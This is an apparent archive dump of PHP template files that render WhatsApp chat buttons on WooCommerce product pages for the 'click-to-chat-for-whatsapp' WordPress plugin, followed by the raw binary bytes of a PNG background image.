    $s_99_own_image = esc_html( $s_99_options['s99_mobile_img_url'] );
    $s_99_img_css .= ( '' !== $s_99_mobile_img_height ) ? "height: $s_99_mobile_img_height; " : "height: 40px; ";

    if ( '' !== $s_99_mobile_img_width ) {
        $s_99_img_css .= "width: $s_99_mobile_img_width; ";
    }
} else {
    $s_99_own_image = esc_html( $s_99_options['s99_dekstop_img_url'] );
    $s_99_img_css .= ( '' !== $s_99_desktop_img_height ) ? "height: $s_99_desktop_img_height; " : "height: 50px; ";
    
    if ( '' !== $s_99_desktop_img_width ) {
        $s_99_img_css .= "width: $s_99_desktop_img_width; ";
    }
}

// fallback image
if ( '' == $s_99_own_image ) {
    $s_99_own_image = plugins_url( './new/inc/assets/img/whatsapp-logo.svg', HT_CTC_PLUGIN_FILE );
}

?>

<img class="own-img ctc-analytics ctc_cta" title="<?= $call_to_action ?>" id="style-99" src="<?= $s_99_own_image ?>" style="<?= $s_99_img_css ?>" alt="<?= $call_to_action ?>">click-to-chat-for-whatsapp/new/tools/woo/woo-single-styles/woo-style-3_1.php000064400000006025147510273110022777 0ustar00<?php
/**
 * Style - 3_1 - s3 extend
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s3_1_options = get_option( 'ht_ctc_s3_1' );
$s3_1_options = apply_filters( 'ht_ctc_fh_s3_1_options', $s3_1_options );

$img_size = esc_attr( $s3_1_options['s3_img_size'] );
if ( '' == $img_size ) {
    $img_size = "40px";
}

// Call to action 
$s3_1_cta_type = (isset( $s3_1_options['cta_type'])) ? esc_attr( $s3_1_options['cta_type'] ) : 'hover';

$s3_1_cta_textcolor = (isset( $s3_1_options['cta_textcolor'])) ? esc_attr( $s3_1_options['cta_textcolor'] ) : '';
$s3_1_cta_bgcolor = (isset( $s3_1_options['cta_bgcolor'])) ? esc_attr( $s3_1_options['cta_bgcolor'] ) : '#ffffff';
$s3_1_cta_font_size = (isset( $s3_1_options['cta_font_size'])) ? esc_attr( $s3_1_options['cta_font_size'] ) : '';

$s3_1_cta_textcolor = ('' !== $s3_1_cta_textcolor) ? "color: $s3_1_cta_textcolor" : "";
$s3_1_cta_bgcolor = ('' !== $s3_1_cta_bgcolor) ? "background-color: $s3_1_cta_bgcolor" : "";
$s3_1_cta_font_size = ('' !== $s3_1_cta_font_size) ? "font-size: $s3_1_cta_font_size" : "";

$s3_1_cta_css = "padding: 0px 16px; line-height: 1.6; $s3_1_cta_font_size; $s3_1_cta_bgcolor; $s3_1_cta_textcolor; border-radius:10px; margin:0 10px; ";
$s3_1_cta_class = "ht-ctc-cta ";

$ht_ctc_svg_css = "pointer-events:none; display:block; height:$img_size; width:$img_size;";

include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';


$rtl_css = "";
if ( function_exists('is_rtl') && is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";
}

$s3_1_css = "display:inline-flex;justify-content:center;align-items:center;$rtl_css ";

// extend
$s3_1_padding = ( isset( $s3_1_options['s3_padding']) ) ? esc_attr( $s3_1_options['s3_padding'] ) : '';
$s3_1_bg_color = ( isset( $s3_1_options['s3_bg_color']) ) ? esc_attr( $s3_1_options['s3_bg_color'] ) : '#25D366';
$s3_1_bg_color_hover = ( isset( $s3_1_options['s3_bg_color_hover']) ) ? esc_attr( $s3_1_options['s3_bg_color_hover'] ) : '#25D366';

$s3_1_box_shadow = "";
if ( isset( $s3_1_options['s3_box_shadow'])) {
    $s3_1_box_shadow = "box-shadow: 0px 0px 11px rgba(0,0,0,.5);";
}
$s3_1_extend_css = "background-color: $s3_1_bg_color; padding: $s3_1_padding; border-radius: 50%; $s3_1_box_shadow";

$s3_1_box_shadow_hover = "";
if ( isset( $s3_1_options['s3_box_shadow_hover'])) {
    $s3_1_box_shadow_hover = "box-shadow:0px 0px 11px rgba(0,0,0,.5);";
}
// hover css
$s3_1_hover_css = "background-color:$s3_1_bg_color_hover !important;$s3_1_box_shadow_hover";

$others = array(
    'bg_color' => "$s3_1_bg_color",
);

?>
<style id="ht-ctc-s3">
.ht-ctc .ctc_s_3_1:hover svg stop{stop-color:<?= $s3_1_bg_color_hover ?>;}.ht-ctc .ctc_s_3_1:hover .ht_ctc_padding,.ht-ctc .ctc_s_3_1:hover .ctc_cta_stick{<?= $s3_1_hover_css ?>}
</style>

<div title="<?= $call_to_action ?>" style="<?= $s3_1_css ?>" class="ctc_s_3_1">
    <div class="ctc-analytics ht_ctc_padding" style="<?= $s3_1_extend_css ?>">
        <?= ht_ctc_style_3_1_svg( $img_size, $type, $ht_ctc_svg_css, $others ); ?>
    </div>
</div>click-to-chat-for-whatsapp/new/tools/woo/woo-single-styles/woo-style-1.php000064400000004076147510273110022561 0ustar00<?php
/**
 * Style - 1
 * 
 * theme button
 * woo-single-styles/woo-style- .php .. specific to the single product pages.
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s1_options = get_option( 'ht_ctc_s1' );
$s1_options = apply_filters( 'ht_ctc_fh_s1_options', $s1_options );

$s1_css = "";
$s1_css .= "cursor:pointer; display:flex; align-items:center; justify-content:center;";
$s1_text_color = (isset( $s1_options['s1_text_color'])) ? esc_attr( $s1_options['s1_text_color'] ) : '';
$s1_css .= ('' !== $s1_text_color) ? "color:$s1_text_color;": "";
$s1_bg_color = (isset( $s1_options['s1_bg_color'])) ? esc_attr( $s1_options['s1_bg_color'] ) : '';
$s1_css .= ('' !== $s1_bg_color) ? "background-color:$s1_bg_color;": "";

$s1_add_icon = ( isset( $s1_options['s1_add_icon']) ) ? esc_attr( $s1_options['s1_add_icon'] ) : '';
$s1_icon_color = ( isset( $s1_options['s1_icon_color']) ) ? esc_attr( $s1_options['s1_icon_color'] ) : '';
$s1_icon_size = ( isset( $s1_options['s1_icon_size']) ) ? esc_attr( $s1_options['s1_icon_size'] ) : '';

if ('' == $s1_icon_size) {
  $s1_icon_size = '15';
}

if ('' == $s1_icon_color) {
  $s1_icon_color = '#ffffff';
}

$s1_style = ('' !== $s1_css) ? "style='$s1_css'": "";

$s1_fullwidth_css = "";

if ( '' == $call_to_action ) {
    $call_to_action = "WhatsApp us";
}

if ( isset( $s1_options['s1_m_fullwidth'] ) ) {
  $s1_fullwidth_css = "@media(max-width:1201px){.ht-ctc.style-1{left:unset !important;right:0px !important;}.ht-ctc.style-1,.ht-ctc .s1_btn{width:100%;}}";

?>
<style id="ht-ctc-s1"><?= $s1_fullwidth_css ?></style>
<?php
}

?>
<button <?= $s1_style; ?> class="ctc-analytics s1_btn ctc_cta">
<?php
if ('' !== $s1_add_icon) {
  
  $s1_svg_css = "margin-right:6px;";

  $s1_svg_attrs = array(
      'color' => "$s1_icon_color",
      'icon_size' => "$s1_icon_size",
      'type' => "$type",
      'ht_ctc_svg_css' => "$s1_svg_css",
  );
  include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';
  echo ht_ctc_singlecolor( $s1_svg_attrs );
}
?>
<?= $call_to_action ?>
</button>click-to-chat-for-whatsapp/new/tools/woo/woo-single-styles/woo-style-6.php000064400000001620147510273110022556 0ustar00<?php
/**
 * Style - 6
 * 
 * link
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s6_options = get_option( 'ht_ctc_s6' );
$s6_options = apply_filters( 'ht_ctc_fh_s6_options', $s6_options );

$s6_txt_color = esc_attr( $s6_options['s6_txt_color'] );
$s6_txt_color_on_hover = esc_attr( $s6_options['s6_txt_color_on_hover'] );
$s6_txt_decoration = esc_attr( $s6_options['s6_txt_decoration'] );
$s6_txt_decoration_on_hover = esc_attr( $s6_options['s6_txt_decoration_on_hover'] );
?>

<a class="ctc-analytics ctc_cta" style="color: <?= $s6_txt_color ?>; text-decoration: <?= $s6_txt_decoration ?>;"
    onmouseover = "this.style.color = '<?= $s6_txt_color_on_hover ?>', this.style.textDecoration = '<?= $s6_txt_decoration_on_hover ?>' "
    onmouseout  = "this.style.color = '<?= $s6_txt_color ?>', this.style.textDecoration = '<?= $s6_txt_decoration ?>' "
    >
    <?= $call_to_action ?>
</a>click-to-chat-for-whatsapp/new/tools/woo/woo-single-styles/woo-style-8.php000064400000006661147510273110022572 0ustar00<?php
/**
 * Style - 8
 * 
 * Button with icon
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$s8_options = get_option( 'ht_ctc_s8' );
$s8_options = apply_filters( 'ht_ctc_fh_s8_options', $s8_options );

$s8_icon_color = esc_attr( $s8_options['s8_icon_color'] );
$s8_icon_color_on_hover = esc_attr( $s8_options['s8_icon_color_on_hover'] );
$s8_txt_color = esc_attr( $s8_options['s8_txt_color'] );
$s8_txt_color_on_hover = esc_attr( $s8_options['s8_txt_color_on_hover'] );
$s8_bg_color = esc_attr( $s8_options['s8_bg_color'] );
$s8_bg_color_on_hover = esc_attr( $s8_options['s8_bg_color_on_hover'] );

$s8_icon_position = esc_attr( $s8_options['s8_icon_position'] );
$s8_btn_size = esc_attr( $s8_options['s8_btn_size'] );

$s8_icon_size = ('' == esc_attr( $s8_options['s8_icon_size'] )) ? "17px" : esc_attr( $s8_options['s8_icon_size'] );

$s8_text_size = esc_attr( $s8_options['s8_text_size'] );
$s8_text_size_css = ('' == $s8_text_size) ? "" : "font-size: $s8_text_size;";
// $s8_text_size_css = ('' == $s8_text_size) ? "font-size: 16px;" : "font-size: $s8_text_size;";

$s8_height = '36px';
if ('btn-large' == $s8_btn_size) {
  $s8_height = '54px';
}

$s8_svg_attrs = array (
  'color' => "$s8_icon_color",
  'icon_size' => "$s8_icon_size",
  'type' => "$type",
  'ht_ctc_svg_css' => 'display:block;',
);

$s8_fullwidth_css = "";
if ( isset( $s8_options['s8_m_fullwidth'] ) ) {
  $s8_fullwidth_css = "@media(max-width:1201px){.ht-ctc.style-8{left:unset !important;right:0px !important;}.ht-ctc.style-8,.ht-ctc-style-8,.ht-ctc-style-8 .s_8{width: 100%;}}";
}

$rtl_css = "";
if ( function_exists('is_rtl') && is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";
}

$s8_icon_css = ( 'right' == $s8_icon_position ) ? "order:1;margin-left: 15px;" : "order:0;margin-right: 15px;";
$s8_text_css = "color:$s8_txt_color; $s8_text_size_css ";
$s8_main_span_css = "display: flex; $rtl_css padding: 0 2rem;letter-spacing: .5px;transition: .2s ease-out;text-align: center;justify-content: center;align-items: center;border-radius:2px;height:$s8_height;line-height:$s8_height;vertical-align:middle;box-shadow:0 2px 2px 0 rgba(0,0,0,.14), 0 1px 5px 0 rgba(0,0,0,.12), 0 3px 1px -2px rgba(0,0,0,.2);box-sizing:inherit;background-color:$s8_bg_color;";

// if ( isset($calling_from) && 'woo_page' == $calling_from ) {
//   // if its from woo pages..
// } else {}

?>

<style id="ht-ctc-s8">
.ht-ctc-style-8 .s_8 .s_8_icon{<?= $s8_icon_css ?>;}.ht-ctc .ht-ctc-style-8:hover .s_8 svg g path{fill:<?= $s8_icon_color_on_hover ?> !important;}.ht-ctc .ht-ctc-style-8:hover .s_8 .ht-ctc-s8-text{color:<?= $s8_txt_color_on_hover ?> !important;}.ht-ctc .ht-ctc-style-8:hover .s_8{box-shadow: 0 3px 3px 0 rgba(7,6,6,.14), 0 1px 7px 0 rgba(0,0,0,.12), 0 3px 1px -1px rgba(0,0,0,.2) !important; transition: .2s ease-out !important; background-color:<?= $s8_bg_color_on_hover ?> !important; }<?= $s8_fullwidth_css ?>
</style>

<div class = "ht-ctc-style-8 ctc-analytics" >
  <span class="s_8 waves-effect waves-light ctc-analytics" style="<?= $s8_main_span_css ?>">
  <span class="s_8_icon">
    <?php 
    if ('hide' !== $s8_icon_position) {
      include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';
      echo ht_ctc_singlecolor( $s8_svg_attrs ); 
    }
    ?>
    </span>
    <span class="ht-ctc-s8-text s8_span ctc-analytics ctc_cta" style="<?= $s8_text_css; ?>">
      <?= $call_to_action ?>
    </span>
  </span>
</div>click-to-chat-for-whatsapp/new/tools/woo/woo-single-styles/woo-style-7.php000064400000005225147510273110022564 0ustar00<?php
/**
 * Style - 7
 * icon with customize padding
 */
if ( ! defined( 'ABSPATH' ) ) exit;

$s7_options = get_option( 'ht_ctc_s7' );
$s7_options = apply_filters( 'ht_ctc_fh_s7_options', $s7_options );

$s7_icon_size = esc_attr( $s7_options['s7_icon_size'] );
$s7_icon_color = esc_attr( $s7_options['s7_icon_color'] );
$s7_icon_color_hover = esc_attr( $s7_options['s7_icon_color_hover'] );
$s7_border_size = esc_attr( $s7_options['s7_border_size'] );
$s7_border_color = esc_attr( $s7_options['s7_border_color'] );
$s7_border_color_hover = esc_attr( $s7_options['s7_border_color_hover'] );
$s7_border_radius = esc_attr( $s7_options['s7_border_radius'] );

// Call to action 
$s7_cta_type = (isset( $s7_options['cta_type'])) ? esc_attr( $s7_options['cta_type'] ) : 'hover';
$s7_cta_textcolor = (isset( $s7_options['cta_textcolor'])) ? esc_attr( $s7_options['cta_textcolor'] ) : '';
$s7_cta_bgcolor = (isset( $s7_options['cta_bgcolor'])) ? esc_attr( $s7_options['cta_bgcolor'] ) : '#ffffff';

$s7_cta_font_size = (isset( $s7_options['cta_font_size'])) ? esc_attr( $s7_options['cta_font_size'] ) : '';

$s7_cta_font_size = ('' !== $s7_cta_font_size) ? "font-size: $s7_cta_font_size;" : "";

$rtl_css = "";
if ( function_exists('is_rtl') && is_rtl() ) {
    $rtl_css = "flex-direction:row-reverse;";
}

$s7_n1_styles = "display:inline-flex;justify-content:center;align-items:center;$rtl_css ";
$s7_icon_css = "font-size: $s7_icon_size; color: $s7_icon_color; padding: $s7_border_size; background-color: $s7_border_color; border-radius: $s7_border_radius;";

$s7_cta_css = "padding: 0px 16px; $s7_cta_font_size color: $s7_cta_textcolor; background-color: $s7_cta_bgcolor; border-radius:10px; margin:0 10px; ";
$s7_cta_class = "ht-ctc-cta ";

// svg values
$ht_ctc_svg_css = "pointer-events:none; display:block; height:$s7_icon_size; width:$s7_icon_size;";
$s7_svg_attrs = array(
    'color' => "$s7_icon_color",
    'icon_size' => "$s7_icon_size",
    'type' => "$type",
    'ht_ctc_svg_css' => "$ht_ctc_svg_css",
);

// hover
$s7_hover_icon_styles = ".ht-ctc .ctc_s_7:hover .ctc_s_7_icon_padding, .ht-ctc .ctc_s_7:hover .ctc_cta_stick{background-color:$s7_border_color_hover !important;}.ht-ctc .ctc_s_7:hover svg g path{fill:$s7_icon_color_hover !important;}";

include_once HT_CTC_PLUGIN_DIR .'new/inc/assets/img/ht-ctc-svg-images.php';
?>
<style id="ht-ctc-s7">
<?= $s7_hover_icon_styles ?>
</style>

<div title="<?= $call_to_action ?>" class="ctc_s_7 ctc-analytics" style="<?= $s7_n1_styles; ?>">
    <div class="ctc_s_7_icon_padding ctc-analytics " style="<?= $s7_icon_css ?>">
        <?= ht_ctc_singlecolor( $s7_svg_attrs ); ?>
    </div>
</div>click-to-chat-for-whatsapp/new/inc/assets/img/wa_bg.png000064400000052653147510273110017020 0ustar00�PNG


IHDR��E���3PLTE�F�tRNS���@`��0� p��P�Ǻ�UIDATx��[ٲ�(��b�픝�����j��7�m�I�h�n������3��!M�듉"����� @�~��<�ⶱ�0*�!�_���Gq��@ �V|��L[��#p�=�T�wxMB�f�Ilx���}���D~���c-��6��q�Z�<��m��,u�Q<4#u;��aîT�q����ҭj+��P,��Ĺ�O�b�j���'X��N]	���  ÙTQ��g�`6������	�G�����ip#��p��漽$ɶ@�f��v��^��E�n�t(��

nB�H��8�<�d�r]x�W�|w<8�)��j!ޯ��o�z��iT��6�!�t&�2�"��ۋjy�d��*��Wtj$\6ϩ�+�i$�x����P	~���t���(蟑M�6�$���qߡ�$���'�@q�Z�
�ָ{%Ui��ڬ�e6���g��7�=�x%�c$���l��VĎ��$��{��]56���Qx[���*Pny��g:�mT�f\��*�f��s�O���=	����r��s_hv���'�&���N�����X�C�����&P��6��i"��zf¨�b/j�M��T۩�!���7vYT��q�ɲ�(6�\����g
����Uܨ�E��i`��N�`��R������K>؋5��+�V죦\�õo�PE�&d���M:&
�g^��f:x揱R�ns��� .|7eī�	���J�x`��"#ؑn��O���m
H��M�=\]i
!GHН��J�D�>�c��
�I�-⶧��K?d���{�	�,��j�ə��q�n}~��\�q\'A�u�v��\�>�y���q^	b���4�$�n��L�bS�=�"��o��>o���-�g9�p��DH����s�]���xFJ��W�yTo��j�xǹ)	h���/ś�/P�wdʮ'&T3�eq
`2���U,[�gvR�KVT~`�${jZ����}�#�P�5ط.rmd���rr�ԯq��5��ԝ'����x�Lj]�)����wѮ�x�od���셾m'�W�ɡ���`��{��_�P¸S7Eh!o�VblA��{�|KTˁ�4W�r���/���>�m��F^���Az�s/��נ���$��#�����Ɣo�h�mj�����G�)���xB�~wŕ�
����Vi�MͣH~�(J4kݎ�b�[$�U��*��a�sM�+��4�(�8���Eij��; ��/b[��(�s.@��������@��*�>"�`���Q4,i�xu��"����ʧ,*��b��x3��c.f����pq�Y���[~A`QUS
���
H��M�>��ֿ����N�~C�"�R<%w1�
���p���Sq�C`Ux�ɉ��.���w���Ɯ“�A��j�p7�ߌNeI��Թ�о�����m̔���Z��m��+���dqN�]������]���v��h��
�~�Ub}�DŽ���n����w��}hx����%t�кܦ��ؾ�ݸ&܅'�m��o�#"?���fV�";��)(�lR5��’UUp��C6�[@(�Z��[>Gt�b#�˚H�Y�t0o[}�r����&��oq�$b�vF
##�^�[s��~psX��F��
�=��n�[�Ap�`�N{�^7���]� �8Q�>���	�:�-��	��&�|
a&�ޑJ�Bt_`�����EE]�Z8�p���s�oNpw�>�2s�ĸ�_�̂�o��8?miXz�mB����E�:���	�RY�p6�Er�[�<v���]���"�]4�߈߅'�B�""�󫿘[p+�y
+����]3����� \Gc4��C����ey�ou�z&�DHs�d�q��|��3���5�� �u��*dk\Oc��p�3���I$�$��f1��=,�er�K�3m����1�؞�&�N|��j�	���KH1+�-C�,�@v��s��9��m�R6��j��e�2��p8��`��<���Xpf�,�K
�yh[<����N(��8���J��u�E�q�Z=Y�xC����SW��p��rV2}(��y~#�tD���t��әQ������+��s�ٖ�E	CgC�(<�~��&_��e
S4���ǘP�UG+��m�a{�6�(q%3ĉ��=w{�^��������.�����x�hX���r�[��+�����G,S	��5��c쯒�?j�:���%�{�,�B�޳a�F�̜�"�]�򠻪�h���Ř㴨��������\�Z���݉�ɅYo��:��׍��jsͣx�*"�ԕj��W�Θ�P&�^����yL_�����ŭ�5;�9	�颯\�k��7�yڱ��}�BD"�=�Wx~-�9OZ̲��J�����I��˷�/��� ������;�P6�{�n�<�5�$���#��^�Fa{�DD}��S<�61�'�z�)u��	D�:�q]�:6@b{k>H�[_�+2�����+/� d�����	��a(�����
�t�뵕�{u���j��)j�M@"�b[�X�}���16�����džZ��=�5Q�xm��M�RR>�l7.�視dl֯�E��O�l�#�K;���9Gc�*رl�:e�sf�C���mq`F{�e�W^Hߠ���ݞ(t��j>��-�Jf��Q	�{�2��>]�7��k
v"�Ƭ�K�<	3�����	Ͽ��w�޵5��CO����|X�P��=�M�l��-�c7�k����I��j��F�rs�b�fp���B�H��u�2�9�C�FM�\|��?�m
��)"��K����i�ҵ����8m��v��$R�y��{�]v���Mj��,��	����P(Mx�w��ZWUķ�	�
Ero�P�ӟ�r�x����E{�tT`8�iv⛛~R�;$&���%�ڨ�
rs�„AU�Sp��|2���|�Y�D�y�n����Zv݆�&
{��m&�%�"U�9�K2s���0��(��`��������m��$
���Q�4���4I�C�; �]��i+*�
�|�����P͗��.*z&JW9Fx��J;�,�WP�J�wi��ܨ�Kc&�J��h���@�.K�blZ��Ӳ��>��}�2N��5�]N�N�`��6��ķ�K�2�K�q�T�'�\:=ky@UV��4�e^\U�$���C�{�7<�ܭa	CF����nh\n�4�	����W;%�p=rPv���	�NN̰�/��صf�)�yh%��p�6A�XMQNcN-�E��&�B�ެe���vl�֏[t�>j<�=V���.b�傧	U�c��ީ�U�� :;;TsHg�#��J9�Sd�o*چ'�ɱ�f��O#g*�]
�*0��Ļ�����	
w�.����B_�˰^� �LVT���
��?�k�K�)Fx����S;9��5Clj��+1�D=�z���mV	`�:_
7 ���@C>}�z(x�U6�iڥkMj��I �Ȩ*�����l�z�q��/��Z��b�օ�F�`����z���"}תɌ�J��뾰*N˧�
:~�j���o��6){�֪���Ԉt����2M�Dʎ�|�g����l�g�ԑ��|��[rh�d�m�Z��q��_aO�ISن9L��Qt��zE2!�	��.@���q�(��h�j�9I+V�c�l���<,L��-�6�C��kIӥ��E~�3�*8����9��)��5t!!�uU�W�M=2�޵���s+x	��h��)�#���Ax"~�S�b��`.���2-�
i%o6fb��,�R �wƾb���7t[jO���!Ss��A�f�l�[���-k\���
�XYI���Ъ����9-t�Z@�R�3��:�K�8\~�žn���d�qR��6nQ�����DQ~�
��`�SXȯT�S��xb9��{{�1o�~�Q�?s�8�w�z��L"��s���B?5�VV,-��d(㧪����JD��嘛	���m��:��?#��ݝ���p)�#:Y�����V�W���Lj֥,DW�*��a�KA�YqC8�=����U7�X�/pfW>�
d4$�nB6�{l���k#��]��ㅂ���_�"����Ά#����+�g�p7���1�5����ƢMae��c|�X˹B���t6��{�������9�'��&*2�*Rv����m�v�񡯢	������%Q��;�~Ό�J�yE�$�h���<����*�{��%=%g���C�?�ۈ�qU�؅��� �g,sڑ�=?�.dH���&4�/k
���r�_�q��6kpMQnȸ*���x2�7���V7��X��T�뜧N�l�N�!��Qq]���Q'���[� �_@'��ʓ"H�����tp"p	�y9G� ~u)�8v��^o��C���՘g��ִl�TO'*�a�h.*�N&�N�����p[����Qr��GjQ[�P�<m�wm/՗!WY\��n�%A*�5/$��#��.��Tӧq[Z�P�(���" S�ǿP�ó8���Ȩ�oӘ_�׍�,�!-!�.��<p���6i���H{4�%X����Ή0Y�Gu�d��2���.��b)_ӷ�}����JX�'���LWn"����]�|�V�X_۩�=
�eo����X��+6QB�c�	i�Q+��8M�s�s�`ׁ�7���i�=ͽ���}o\�v��Q��
������C-"�S���ȇ&1�F�����$�}F�q[�^��v��A�o���I�QX3��'�Q^ �MKq��l9VC��U�3Ƥ��6����0�Er�<u�Ж�ݖUJ:H�ǐ�o<+U���k!��
�W>�����x?�-_�L�`'�*���P�~�G��4��LwW�x<i��Y�*�>��b˷�V�R١1^�
C[�x|�t&�<�|q������`���e�Hq�='��8�e�j1�4���Ӕ�{���ȷQӞ�sg<����D��v+8x���
�H$�G�5DJb�v)�xe�I���ݸ�j�i+F�;���"���ߨ5_�W&��f�Ԉy���M���?My[nG%����6�C#��|p0÷آ��Ie�LA
�W��U�p�s9j|��+J�V:�O���7S�$��zf#�ѢH��ķk=�j��fVJ�h�ȬÂ�>DU�#\�XӖ_[�P�ꟳ���$��H�8K8b�-��n86���j^N�ZU��c�|Ä��'O�� �H����ڨ�y~A���_߄��Jdd�ٳ�x���x߉�22��;>�R�K<lq�]K�yNn�؁\I`t	��J�fi@Π�����yv��.�#�)N��$<�6i�b�?8b�p��qs:g�Mi#(�̜{��oKۀ��}�[��uH�]�ٚIcy&Ɖ
��*�G(f�֖�H��خ����<�-�p�#4�0�a���������IN<)<@V6:GT>3YyNϧH�"��ϊA�׍x,.���gs�ڑ�F�R�u���^�Urګ�S�-��������3t��x�������Txd������zߺl�����i���/rݞN�L=h[�0jܣ'�J�7�E�b-���?ϕ��Sž�jC��}tM ��|� ��G�����Ri�4���*�w�V^M�M�閽"��>�#҃��9o�d�}Eۙ�_���vm$Z��bY�JV�`l04��A��I6��M�#�[e���m}�E��4=CY]2�s:๡�=h�!UD
/�^hJ{]�j�İ��(7�`_��X����6@�a�֛9B���x��ͧ-b�;?Ilǖ��P�oiO�7'ܾݶ����g�h��kkS��M!@����`�
o!�q۾��;G�.e�O�8a<�;�s�!��j��u�;�����=�vϘG��T+��1��q�F�ϻX��	��Y$?�q���ka�:��pǛ�~q\H��h�#�4�$��&���wXq50��9��҆�g��O��A5>���v�A���<���{_�C�f�����)���0�K�
�u�97�~�j �P V0���Ƶ��R��b
�[❑��i@:/�Z:(��ɫZ������L�Z�΢R���r��u��%�}˛�US�O�5�Q�\���'�;��]����V�m~����ٯO:�G��!������Ϥ�R��kr��F< M�u&ղv��7N��I��fN���}O<���Ϙ��eY��]:X�cK!�ok[Sb	��0���Ucץc��V���E�P�u�/l�n+�4>]�Aͫc_�ӂ(
�ߛ�����i��?F1X�8/$�����q�R8��܃�����(1X�-��3�҆Q4ju`�J�-�w��8��Q5�\?jiN����:�X!�^K9�
��n���gֆ�˪���to��·_3g�4yu��ww8&e,�a�඲]f=J)	e�	'j���qA�P��l�V/��z�8M�!|��X4�0)бÜ�
TS�X,Q,'�C|5E8�uҘ�#��l4Z
`���6��b4�;f<;��=�+�Hش�O�GM�b����ϟ����M\�����������0�\�3�
�<H�fӝo�I���:5�*��|i��Q���y��\�T�4y"����&�q�?`a��}ˀ����>7~�~��~G��VK�zy�K!+.�&���"�j������
i���ѣ���j+J"�����lN0}���K�c��z_U�g����	���3籺�@��ss�sĨ��	�ϛalP��=#�o$̱� r@Q������u��Ӽ!6^�^8���Q~F��U�y��s�`��~�Z���-h=הaV?�W�4�<U7#�>iS��r��"���#x6CFNv�2Њl�e
-2��jOV��^��g�	�A�� �ּJ�*��pd1���|N�B<�!D{�����oF�"q�m7��!�c�^�@�fX��|<�c
�@4�`l|�`2@%�{0����ؽ������iƒ�C/N8�l ��2���4�!��s�*�#�����>����U3�cx5��,P{���]�Mg�zP�
� fL^\��9�܃��5}N�����U�7Cy�ni��K���!-��R�'�U�U��S���sx3�@�O��ܜ.�^��_���wh�[߮HruYw�()���0�"���_�F�R�`DF���)m6�k|�>F93����N����^lP�f�ԫ��z��KD����~^hֻ�[U���93� ��\.��(��7�u���T�x�Iɶ=�D�5�}I l��\�
B��V+�sn�8j.�.ߓ���!��CȎ�OaW�L��Γٛ�M��s�s[����(�4�0n\���)_)��%6c���2���C�C�LC9%r)��5��ܥg�DM��
y�rDkIhA�V
�5�O#9\����l��a���H��B_�9�3r�y5�6�.���|�r�� �0��^�����j�T{iϷ�]��AM/5�VmjM~��8珆�8�wӇNO�)�E�(�cQ~�5�AIkh�W�}F}X2�B�[{I�45`]�'��CN!5�7��;��om�u�d���F����:�<A���%��S�.�����<hl3�*��c��Q�Fx�#X	;_2e��`&�xIZ�EE��������dv¸�Z�i��U�"�4�3�Ҝjʕ�t�9�ξV�$a>�Z����=b�`�wu�Y�cIVJ]#Sf}����cų��,.�ĺ@�)GW�_�=�y���+�`ߖ>I���#�6�e�b'����*�El\�߽Cc�8P���^�s����1���Ԩ*hӼƨbz���ORS�>��!��]Q����%[lwg,5�/�<��!�`�.�5`�yo�����R`��Kn_*��,+�@�^l��v�+�����I-�^��\�o[<�$�+U�Xb|�I�=Th�1�p$��鼒L�Y��-5��M��(���ꦃ�q����x��/4N�O�<��xc#U]1�����+c
P�{e�9CDAR��b���k�H�L��y�ؚa���:���#�2!�iC7�jA�}T8LWӴ���������5��:ei2��4D��<��6+��� �#�[�3+a��|��23��ؤEum�S�R�{;)�h<��v"�q���ԛe�Z�{�)�a�l���g>���J��P�D��_"�\b���e2��r�d�L�K<�\���7���I�~��EP
���J��B4ٽ��璴�����ҫ�xn����A�C��!�ώ�t�{�Z�R��%w��dF�<�e43m�Ø6Ү?��q`!3����An��>.�+I�J�cx�z,IoҤ2.���[��O��4�T�#�K�Ĺf�5I������9��d0�{��[zj��_,EzP�E��jW�K���pi�\e�=�xq��R�e�=ӗݑ��2t�&8��P`�G����}�krέ��gu���;�X���s�ߎO��ť\��5�1u��
�?�|X���]iQ,����Yz�(���21ֵ��+I�a��Z��i�`�?��x�t���a[ݭ��q�ڜ�Zu:�V�iV0�u˵Egϵ^|8r��5ቺ@QFM\�R?�����*A>�E�����eD���r��DL������樇Lwۭ_(���Z+���Y�ӫ��hVZ��ks,�P4qw��Qͩ\��*��^.�s��LPҵ��|�҆l��&s�����xw�e�>��աF�$�x�'�8U�8$�n�t3�_�!����e@�1��sk�*`��%�Jud�Ѹ����{��NY'BdF��y8��+��Zcʛ|Z��r 	��}A�GTm�M�e��%�՜G�����EG!�ޔ>]�T����B����J���e+�S �����-�:�f�n��;G��Z��T�;}?�����#�+�ਿƒ�ޠ~�2���l�Z�l�Ь �|s�TN[w�����t:M����(�G��;��/O�^�Z��=�":ـ#k��mz�Z?s_�^�U����n�$�9f�&�5v���;�FˡP�⠨h���e1t��s����d�� g;�'Ԧ�4�����)�^�E@<��{����l�w��x	l���k|!ؿ�����=F	�v�������:����$+)LQ�E(^���gt��jG45N����$��̬<�A���X�YD�t�f�`g	V$Y��:tph�ߊ������JU��bs�TSP���g,
�b����وV��‹���%vm��PEs[�N���B`$J�|.�_��J3B��MZb��t���#�r��=� A�2�����ې��a����(�*���}���Y��Ÿ�|��"W\{;o��@-������XSz�m�xN|oU��L�Cїjݒq��O�g��΋��͵�)C	5��l�>S.F��H�u������M��б>���{�ڜ�z��qR�t~��Lg+e�X@���)R�'�(�i�ڠ�#��s�7�����"��W0Bi؎�)#@������(E�{�èL�a4�֋Ώ.�)q���;;�\}�Z�W5�r�!.[�������B�x'�6�(�ͻF�XR��X�h���ڐ��ijαYm6�x3���V
~,qW�k��� ��]�^�I&ɛ�^�~�ɮ�iF��5t�eHhZ�B��
� Z�a��dq N.
��VQ`�ZU~'	�I�tּ5>3�<ij�8\��^�\TSCO��9ċ|�͖�F0ϣ���Z�7bv�ߨ]h@���7V�T�\�
���s��ζ=�9�Ⱥ=�
